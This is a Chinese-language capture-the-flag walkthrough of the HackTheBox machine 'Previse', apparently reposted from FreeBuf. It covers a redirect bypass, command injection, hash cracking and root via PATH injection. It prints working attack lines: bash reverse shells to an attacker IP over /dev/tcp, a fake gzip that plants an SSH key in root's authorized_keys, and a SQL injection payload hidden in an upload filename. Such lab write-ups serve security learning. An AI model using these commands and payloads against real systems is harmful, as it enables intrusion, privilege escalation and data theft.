HTB-Previse
先对目标端口进行扫描(nmap),看看开启了哪些服务和端口
nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.11.104
我们获取目标的端口之后,需要知道更详细的信息
nmap -p 22,80 -sCV -oA scans/nmap-tcpscripts 10.10.11.104
这些是我们再次扫描的结果,我们可以猜测目标80端口使用的是Apache ,22使用OpenSSH
后来我们加上-O选项,尝试看看目标的OS是什么
通过扫描,目标多半是Linux系统
我们访问目标80端口,看看有什么切入点
经过简单的Username 和 Password的测试,发现报错永远是
这导致我们无法知道目标是否可以进行爆破
目前情况下,我们貌似不知道什么可以切入的地方,那么尝试使用dirsearch
扫描一下目标有什么子目录
python [dirsearch.py](http://dirsearch.py/) -u [http://10.10.11.104/](http://10.10.11.104/)
我们将可以访问的(301除外)都进行了访问,发现没有什么可以利用的东西,但是除了/header。php这个文件,打开后没有任何显示,但是右击源码又有东西。(后来通过对比知道,这是Login.php页面的前端中中的内容。)
我们尝试访问/
目录,发现还是重定向到/login.php
。这表示可能存在EAR漏洞(Execution After Redirect)重定向漏洞。
Execution After Redirect (EAR)
那么我们需要尝试去绕过这个重定向,去看看重定向之前的页面是什么样的。
我们利用burp抓包,抓取Request的部分,而不进行Response
通过这样抓包,我们发现了不一样的东西
我们尝试将302改为200 OK,看看能不能实现绕过这个Location(我们猜测目标会根据状态码来判断是否要重定向)
确实发现了不一样的东西,我们成功绕过了重定向,这说明目标存在EAR
漏洞
当我们随便点击的时候,发现又给我们重定向回去了。貌似这并没有多大卵用。
但是会想到我们之前dirsearch
发生的重定向,貌似正好对应上面的几个选项。如果说,存在EAR漏洞,那么其他几个是不是也可以用同样的方法去尝试?
我们在Proxy-Options中设置如图匹配-替换,实现访问就绕过重定向。
我们访问/accounts.php这个页面发现可以创建用户
我们创建了一个admin用户和admins,发现这个用户竟然不存在,创建成功了
至于能不能找到目标管理员账号,暂时先不管,我们先去看看其他几个页面有什么东西。
files.php
页面
status.php
页面
我们通过创建的账号去登录,在FILES中发现了两份文件,一份是Backdoor,另一份是Zip文件(zip中包含了这个站目录下的所有文件),我们打开后发现了目标的数据库账密
我们打开file_logs.php发现貌似也是个页面,所以我们访问其中file_logs.php
看看有什么
我们将三种选项的文件都输出得到,发现并没有什么不同的地方(但也表示这里目标正在访问其数据库进行数据获取)
至此我们已经获得了目标数据库的账密,下面只需要获取对方的Shell权限,或者能够远程命令执行就可以获得我们想要的东西了。
下面开始进行如何实现命令执行(RCE)
利用www-data(网站请求)去实现RCE
我们POST一个选项中没有的参数,发现依旧返回了数据库内容。但是我们通过对比目标三种方式,发现格式不太一样。(这里大胆猜测目标可能进行文本匹配和排序,目标可能正在PHP中执行这项操作;但也不排除可能利用system
或者shell_exec
去调用PHP之外的东西)
我们监听一下端口,看看目标能不能访问我们。(看看能不能实现RCE,这里tun0是我们用HTB给的网卡)
收到了来自远方同胞的信
无源码情况下发现RCE,可以执行远程命令
接下来就是如何利用RCE去获取目标的控制权限(前期我们Nmap出目标是Linux系统,这说明我们可以利用bash和nc设置后门)
通过不断努力,我们终于实现了bash反弹nc
但是吧,我们一搞Ctrl+c 这个shell就被关掉了。所以我们需要升级我们的shell。
script /dev/null -c bash
在目标shell中执行,然后Ctrl+Z退出
接着在我们本机上stty raw -echo; fg
再执行这串代码,发现实现持续控制了。而且Ctrl+C也不会是shell关闭。
现在开始获取目标的重要文件
首先我们刚刚知道了一个ml4where这个名字,很有可能这是目标常用的用户名。
我们查看目标home,发现果真有一个用户叫做m4lwhere
我们想要查看目标的users.txt文件,发现自己权限不够。(可以尝试性提权)
此时意味着我们可以访问目标的数据库了,根据刚刚获取的账密。
通过测试,我们发现只有previse这DB中可能存在我们想要的东西(因为tables比较简单)
拿到了目标普通用户的密码。但是目标的密码被加密了。并且有一个emoji隔在中间。
这里需要我们去破解目标的hash值
hashcat -m 500 hash.hash /usr/share/wordlists/rockyou.txt
我们通过hashcat成功爆出了目标的密码
在有了账密情况下,而且目标还开着OpenSSH,我们可以利用ssh远程连接
sshpass -p 'ilovecody112235!' ssh m4lwhere@10.10.11.104
(这个命令,发现不太好用)
我们使用另一个命令:ssh m4lwhere@10.10.11.104
成功连接到目标。
我们查看之前没有权限访问的文件user.txt
,成功拿到user的falg
ilovecody112235!
我们尝试使用sudo su看看能不能拿到root权限,很显然失败了。这就考虑到需要思考其他方法去获取root权限。从而获得root的flag
但是我们通过sudo -l
这个指令发现sudo可以在脚本上执行
以下开始大佬的深入研究:
sudo -l
的输出少了关键一行:sudo被错误配置以便下一次使用
系统会执行这个脚本将日志备份到/var/backups/
:
#!/bin/bash
# We always make sure to store logs, we take security SERIOUSLY here
# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time
gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz
我们通过ls -ld /var/backups
可以看到该目录属于root。所以说那个脚本的启动,需要root权限。
下面我们需要利用Path Injection
我们在/dev/shm
中创建一个gzip
脚本,在这脚本中,我们可以利用bash,并且把我们的公钥写入root的authorized_keys
中,实现一个反向shell
gizp中内容:
#!/bin/bash
# enable root ssh
mkdir -p /root/.ssh
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing" >> /root/.ssh/authorized_keys
# rev shell
bash -i >& /dev/tcp/[自己ip]/443 0>&1
接着设置将我们创建的脚本所在位置设为自启动
m4lwhere@previse:/dev/shm$export PATH=/dev/shm:$PATH
m4lwhere@previse:/dev/shm$echo $PATH
/dev/shm:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
一切准备就绪之后,我们开始启动那个脚本,唤起root
sudo /opt/scripts/access_backup.sh
同时我们在自己的电脑上需要开启nc监听443端口,从而获取root的反向shell
我在尝试过后,并未能成功返回shell
通过后来的方法二发现,是因为权限问题,当我们给chmod 777 gzip
时,一样可以实现root的反弹shell
方法二:
我们通过sudo -l 发现一个root权限的脚本,我们查看其内容,发现改脚本将以root权限执行”gzip”
我们检查脚本,发现脚本没有验证”gzip”是否是”原始/指定完整路径”
因此该脚本容易收到Path Injection
的影响
具体步骤如下:
在具有权限的目录创建一个文件名gzip
将文件的权限更改为777
将环境变量$PATH配置为当前目录
设置本机为监听方
执行 /opt/scripts/access_backup.sh
cd /tmp
echo "bash -i >& /dev/tcp/10.10.14.56/4444 0>&1" >gzip
chmod 777 gzip
export PATH=/tmp:$PATH
sudo /opt/scripts/access_backup.sh
成功反弹获得root的shell
对于sudo -l返回结果不同的深入探究
下面是在我本机上运行sudo -l
返回的结果。
下面是目标有做过修改的sudo -l
:
针对这个,env_reset
, mail_badpass
, 和secure_path
都默认在/etc/sudoers
文件中定义。
我们在本机中查看/ect/sudoers
:
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"
# Host alias specification
# User alias specification
# Cmnd alias specification
# User privilege specification
root ALL=(ALL:ALL) ALL
# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# See sudoers(5) for more information on "#include" directives:
#includedir /etc/sudoers.d
root ALL=(ALL) NOPASSWD: ALL
env_reset
:这将携带到新进程中的环境变量限制为几个关键变量,默认为true。
mail_badpasssudosudo
:告诉尝试
失败时发送电子邮件
;手册页说默认情况下这是关闭的,但默认配置似乎启用它。
secure_pathsudo
:这设置了运行命令的路径
,防止了我上面使用的那种攻击。默认情况下禁用此功能,但它在我知道的所有发行版的默认配置中。
而在目标修改后的文件中:
# Cmnd alias specification # User privilege specification root ALL=(ALL:ALL) ALL # Members of the admin group may gain root privileges %admin ALL=(ALL) ALL # Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL) ALL # See sudoers(5) for more information on "#include" directives: #includedir /etc/sudoers.d # Allow manual backups of access logs as needed m4lwhere ALL=(root) /opt/scripts/access_backup.sh
目标删除了默认值
### 补充:
一位大佬发现其中存在SQL注入
其存在漏洞的语句为:
$sql = "INSERT INTO files(name, size, data, user) VALUES('{$fileName}', '{$fileSize}', '{$fileData}', '{$_SESSION['user']}')"; $db = connectDB(); $result = $db->query($sql);
我们在其文件
files.php
中可以实现POST /files.php HTTP/1.1 Host: 10.10.11.104 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------81606610532534972821053179055 Content-Length: 335 Origin: http://10.10.11.104 Connection: close Referer: http://10.10.11.104/files.php Cookie: PHPSESSID=mdecrekdk0rlrjcs724posb8oh Upgrade-Insecure-Requests: 1 -----------------------------81606610532534972821053179055 Content-Disposition: form-data; name="userData"; filename="accounts', '0', '', (SELECT group_concat(concat(username,':',password) SEPARATOR '<br>') from accounts));-- -" Content-Type: text/plain test -----------------------------81606610532534972821053179055--
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)